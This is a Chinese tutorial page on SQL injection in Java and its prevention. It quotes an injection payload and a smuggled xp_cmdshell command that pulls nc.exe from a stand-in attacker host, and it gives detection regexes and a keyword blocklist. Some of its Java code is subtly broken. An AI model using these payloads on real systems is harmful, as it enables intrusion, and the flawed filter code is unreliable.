一聚教程网:一个值得你收藏的教程网站

最新下载

热门教程

Java安全之SQL注入漏洞分析

时间:2013-12-02 编辑:简简单单 来源:一聚教程网

漏洞简介

SQL 注入漏洞在以下情况下出现:
1. 数据从一个不可信赖的数据源进入程序。
2. 数据用于动态地构造一个 SQL 查询。
 

 代码如下 复制代码

String userName = ctx.getAuthenticatedUserName();
String itemName = request.getParameter("itemName");
String query = "SELECT * FROM items WHERE owner+
 = '"+ userName + "' AND itemname = '"+ itemName + "'";
ResultSet rs = stmt.execute(query);


例:以下代码动态地构造并执行了一个SQL 查询,该查询可以搜索与指定名称相匹的项。该查询仅会显示条目所有者与被授予权限的当前用户一致的条目。这一代码所执行的查询遵循如下方式:

 代码如下 复制代码

SELECT * FROM items
WHERE owner =
AND itemname = ;

但是,由于这个查询是动态构造的,由一个常数基查询字符串和一个用户输入字符串连接而成,因此只有在 itemName 不包含单引号字符时,才会正确执行这一查询。如果一个用户名为 hacker 的攻击者在 itemName 中输入字符串“name’ OR ‘a’='a”,那么构造的查询就会变成:

 代码如下 复制代码

SELECT * FROM items
WHERE owner = 'wiley'
AND itemname = 'name' OR 'a'='a';

附加条件 OR ‘a’='a’ 会使 where 从句永远评估为 true,因此该查询在逻辑上将等同于一个更为简化的查询:

 代码如下 复制代码

SELECT * FROM items;

这种查询的简化会使攻击者绕过查询只返回条目所有者与被授予权限的当前用户一致的要求;而现在的查询则会直接返回所有储存在 items 表中的条目,不论它们的所有者是谁。
漏洞防范

通常SQL注入通常是比较好预防的,但切忌不要存在侥幸心理,因为攻击者往往都是处在主动位置。

措施1:参数化执行语句(也称为事先准备好的语句PreparedStatement)

禁止通过字符串串联直接使用用户输入构造可执行 SQL 语句。全面使用参数化执行语句,对于java语言,使用预编译语句PreparedStatement代替直接的语句执行Statement。
    说明:使用预编译语句PreparedStatement,类型化 SQL 参数将检查输入的类型,确保输入值在数据库中当作字符串、数字、日期或boolean等值而不是可执行代码进行处理,从而防止SQL注入攻击。

措施2:对输入参数的类型和长度进行严格校验
    校验输入数据的长度:如果输入数据是字符串,必须校验字符串的长度是否符合要求,长度校验会加大攻击者实施攻击的难度。
    校验输入数据的范围:如果输入数据是数值,必须校验数值的范围是否正确,如年龄应该为0~150之间的正整数。
    校验输入数据的类型:如果仅允许输入的数据是数字,那么就不应该接收字符型的数据。

措施3:进行纵深防御
     强大的安全办法应该采用纵深的防御措施,如果一旦前线防御失效,可以提供额外的保护。在攻击后端数据库的上下文过程中,有三个层次的进一步防御需要实施。
A、应用程序在访问数据库时应使用尽可能低级别的特权;
     说明:一般来说,应用程序并不需要DBA 级别的权限,通常它只需要读取和写入数据。在安全的危急情况下,应用程序可能会采用不同的数据库帐户实行不同的操作。举例来说,如果90%的数据库查询只需要读访问,则这些操作都可以用一个没有写权限的帐户来执行。如果某个特定的查询只需要读取的一个子集数据(例如命令表,而不是用户帐户表),则使用一个具有相应访问级别权限的帐户。如果这种做法在整个应用程序中强制执行,则任何可能残留的SQL 注入漏洞的影响将大大减少。
B、数据库中要去掉所有的无用的缺省功能;
     说明:只要有可能,不必要的功能应删除或禁用。即使在某些情况下,熟练的和坚定的攻击者可以通过其他手段生成一些新功能,但是数据库的小范围冻结成为攻击者的障碍。
C、数据库的补丁的更新要进行评估且及时更新;
  说明:数据库本身的漏洞可能成为攻击者利用的对象。补丁要及时更新但是一些不必要的补丁或插件或许方便了攻击者。

防御误区

1.通过两个单引号过滤所有的用户输入的单引号,但是在如下两种情况下失效
   A、如果用户提供的数字数据嵌入到SQL 查询中,这些数据通常不是封装在单引号中的。因此,攻击者可以不用提供单引号,摆脱数据上下文关系而输入任意的SQL 语句。
   B、在二次SQL 注入攻击中,最初插入数据库中被安全过滤的数据随后从数据库中读取然后传回,在重用数据时,最初使用两个单引号的地方将恢复最初的形式。
2. 对数据库操作使用存储过程
    当然使用存储过程能避免很多安全问题,也能大大提高性能,但是却无法防止SQL注入漏洞。
    A、在Oracle 中,一个写得不好的存储程序可能在代码中包含SQL 注入漏洞,在存储程序中创建SQL 语句和在其它地方一样,会出现类似的安全问题。
    B、即使使用的是一个强大的存储程序,如果使用用户提供的输入,以不安全的方式调用存储程序,SQL 注入漏洞仍然会产生。
    C、例如,假设在一个存储程序中实现用户注册功能, 调用语句如下: exec sp_RegisterUser ‘joe’, ‘secret’,这个语句可能就跟一个简单的INSERT语句一样易受攻击。例如,攻击者可以提供以下的密码:foo’;exec master..xp_cmdshell ‘tftp wahh-attacker.com GET nc.exe’–将导致应用程序执行以下的批查询: exec sp_RegisterUser ‘joe’ , ‘foo’; exec master..xp_cmdshell ‘tftp wahh-attacker.com GET nc.exe’–’从而使用存储程序将毫无作用。

下面整理了一些关于jspsql注入方法

要引入的包:

 代码如下 复制代码
import java.util.regex.*;

正则表达式

 代码如下 复制代码
private String CHECKSQL = “^(.+)\sand\s(.+)|(.+)\sor(.+)\s$”;

判断是否匹配:

 代码如下 复制代码
Pattern.matches(CHECKSQL,targerStr);

下面是具体的正则表达式

 代码如下 复制代码
检测SQL meta-characters的正则表达式
/(%27)|(’)|(--)|(%23)|(#)/ix
修正检测SQL meta-characters的正则表达式 :/((%3D)|(=))[^n]*((%27)|(’)|(--)|(%3B)|(:))/i
典型的 SQL 注入攻击的正则表达式 :/w*((%27)|(’))((%6F)|o|(%4F))((%72)|r|(%52))/ix
检测SQL注入,UNION查询关键字的正则表达式 :/((%27)|(’))union/ix(%27)|(’)
检测MS SQL Server SQL注入攻击的正则表达式:
/exec(s|+)+(s|x)pw+/ix

等等…..

比较通用的一个方法:
(||之间的参数可以根据自己程序的需要添加)
=======================================

 代码如下 复制代码
public static boolean sql_inj(String str)
{
    String inj_str = "'|and|exec|insert|select|delete|update|
count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,";
    String inj_stra[] = split(inj_str,"|");
    for (int i=0 ; i < inj_stra.length ; i++ )
    {
        if (str.indexOf(inj_stra)>=0)
        {
            return true;
        }
    }
    return false;
}

防止SQL从URL注入:

 代码如下 复制代码

sql_inj.java代码:
=======================================

package sql_inj;

import java.net.*;
import java.io.*;
import java.sql.*;
import java.text.*;
import java.lang.String;

public class sql_inj{
public static boolean sql_inj(String str)
{
    String inj_str = "'|and|exec|insert|select|delete|update|
count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,";
//这里的东西还可以自己添加
String[] inj_stra=inj_str.split("\|");
    for (int i=0 ; i < inj_stra.length ; i++ )
    {
        if (str.indexOf(inj_stra)>=0)
        {
            return true;
        }
    }
    return false;
}
}

上面的几种方法针对的主要是过滤用户提交过来的敏感字符串了,主要也是sql语句一些函数命令,字符。

热门栏目